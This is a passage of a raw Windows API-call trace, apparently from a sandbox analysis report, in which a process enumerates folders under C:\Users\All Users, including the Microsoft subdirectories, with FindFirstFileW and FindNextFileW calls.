lpFilePart=0x0) returned 0x18 [0217.172] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*" (normalized: "c:\\users\\all users\\comms\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5bf0 [0217.173] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.173] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.173] FindClose (in: hFindFile=0x1d1f5bf0 | out: hFindFile=0x1d1f5bf0) returned 1 [0217.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb20) returned 1 [0217.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcae0) returned 1 [0217.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.174] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Comms", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Comms", lpFilePart=0x0) returned 0x18 [0217.174] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*" (normalized: "c:\\users\\all users\\comms\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.174] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.174] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.175] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb20) returned 1 [0217.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcae0) returned 1 [0217.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.175] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0217.175] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*" (normalized: "c:\\users\\all users\\desktop\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb90) returned 1 [0217.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.177] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0217.177] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*" (normalized: "c:\\users\\all users\\desktop\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb90) returned 1 [0217.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.180] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0217.180] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*" (normalized: "c:\\users\\all users\\documents\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb90) returned 1 [0217.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.182] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0217.182] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*" (normalized: "c:\\users\\all users\\documents\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb90) returned 1 [0217.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.185] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0217.185] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*" (normalized: "c:\\users\\all users\\microsoft\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.185] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.185] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0217.185] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0217.186] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0217.186] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0217.186] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0217.186] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd17b1a49, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd17b1a49, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0217.186] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0217.186] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0217.187] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0217.187] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35da50f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x35da50f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0217.187] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0217.187] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0217.187] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xbf84b63e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xbf84b63e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0217.188] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0217.188] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3840877a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3840877a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3840877a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0217.188] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbca7cf5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbca7cf5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0217.188] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3d47fe2c, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d47fe2c, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0217.188] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x448c3dac, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x448c3dac, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0217.189] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0217.189] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x77d1fe08, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x77d1fe08, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0217.189] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35c3f417, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6520aed4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0217.189] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0217.189] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0217.189] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0217.190] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0217.190] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ebc8954, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4ebc8954, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4ebc8954, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 1 [0217.190] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ebc8954, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4ebc8954, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4ebc8954, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 0 [0217.190] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb20) returned 1 [0217.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcae0) returned 1 [0217.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.190] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0217.190] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*" (normalized: "c:\\users\\all users\\microsoft\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 